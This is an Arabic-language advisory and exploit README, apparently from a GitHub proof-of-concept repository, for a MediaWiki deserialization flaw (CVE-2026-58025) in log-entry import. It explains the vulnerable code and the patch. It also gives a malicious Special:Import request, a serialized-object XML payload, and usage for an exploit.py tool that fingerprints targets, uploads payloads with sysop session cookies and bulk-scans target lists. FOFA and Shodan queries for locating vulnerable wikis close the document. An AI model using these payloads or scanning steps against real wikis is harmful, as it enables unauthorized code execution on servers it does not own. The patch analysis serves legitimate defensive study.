
CVE-2026-58025 — ثغرة RCE عبر إلغاء التسلسل في MediaWiki من خلال استيراد إدخال السجل. الدالة LogEntryBase::extractParams() تُنفّذ unserialize() على log_params التي يتحكّم فيها المستخدم. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025 هي ثغرة حرجة (بدرجة CVSS 9.8) من نوع إلغاء تسلسل بيانات غير موثوقة في ميدياويكي (مؤسسة ويكيميديا). كانت دالة LogEntryBase::extractParams() تستدعي unserialize() على معلمات سجلات الأحداث المتحكم بها من المستخدم دون تقييد فئات PHP التي يمكن إنشاء مثيل لها. يمكن لمهاجم يملك صلاحية importupload أو import (المجموعة الافتراضية: sysop) إنشاء ملف استيراد XML خبيث يحتوي على كائنات PHP مسلسلة في حقول <params>، مما يؤدي إلى إنشاء كائنات عشوائية واحتمال تنفيذ برمجي عن بُعد عبر سلاسل أدوات (gadget chains).
| فرع الإصدار | متأثر | مُصحَّح |
|---|---|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
المتطلبات: صلاحية
importأوimportupload(المجموعة الافتراضية:sysop). يجب أن يكون المهاجم قادراً على رفع أو استيراد ملف XML إلى Special:Import الخاص بميدياويكي.
استدعت دالة LogEntryBase::extractParams() في includes/Logging/LogEntryBase.php الدالة unserialize() مباشرة على كتلة log_params دون أي تقييد للفئات:
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
تُستدعى هذه الدالة من عدة مواضع:
| الملف | السطر | السياق |
|---|---|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — قراءة سجلات الأحداث من قاعدة البيانات |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — تحليل التغييرات الأخيرة |
includes/Import/WikiRevision.php | 638 | importLogItem() — استيراد سجلات الأحداث من XML |
maintenance/purgeChangedFiles.php | 182 | تحليل السجلات في سكربت الصيانة |
tests/phpunit/maintenance/DumpAsserter.php | 541 | أداة مساعدة للاختبارات |
ناقل الهجوم الرئيسي هو استيراد XML عبر Special:Import:
import/importupload) بإنشاء ملف تصدير XML خبيث لميدياويكي<logitem> مع حقل <params> يحتوي على حمولة PHP مسلسلةWikiImporter::processLogItem() → WikiRevision::importLogItem() بتخزين سجل الحدثDatabaseLogEntry::getParameters() أو RecentChange::parseParams() أو عرض السجل)، تستدعي LogEntryBase::extractParams() الدالة unserialize() على الكتلة المتحكم بها من المهاجمPOST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
يقبل حقل <params> في ملف استيراد XML سلاسل PHP المسلسلة القياسية. إدخال آمن (غير ضار):
a:1:{s:3:"foo";s:3:"bar";}
إدخال خبيث يحتوي على كائن مسلسل:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
عند استدعاء unserialize() دون تقييد allowed_classes، يتم إنشاء الكائن بالكامل. ومع توفر سلسلة أدوات (مثل مكتبات مثبتة عبر Composer)، يتحول ذلك إلى RCE.
الالتزام: 60f154d4618063ac4d5832285fc246b8fcd7c72c
المؤلف: Bartosz Dziewoński
التاريخ: 2026-06-29
ينفذ الإصلاح طبقات دفاع متعددة:
unserialize() باستخدام allowed_classes// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams() الجديديكتشف كائنات __PHP_Incomplete_Class (الكائنات التي تم حظرها بواسطة allowed_classes):
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()فحص صلاحية logentryimport جديد (لا تُمنح لأي شخص افتراضياً):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — رفض المعاملات غير الآمنةif ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — عرض آمن للإدخالات الخبيثة الموجودةتحل فئة UnsafeLogFormatter الجديدة محل المنسق العادي للإدخالات التي تحتوي على كائنات محظورة، حيث تعرض رسالة بديلة بدلاً من محاولة تنسيق البيانات الخطرة.
حدد البحث نفسه (T422244) أيضاً أن نوع المعامل raw في LogFormatter كان يسمح بإخراج HTML خام من معاملات السجلات المتحكم بها من المستخدم. تم إصلاح ذلك في التزام مصاحب بتغيير Message::rawParam() إلى Message::plaintextParam().
يُنشئ الملف المرفق exploit.py ملف استيراد XML خبيث لميدياويكي يحتوي على كائنات PHP مسلسلة في معاملات سجلات الأحداث. كما يمكنه تحديد بصمة نسخ ميدياويكي ومحاولة الاستيراد عبر API.
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"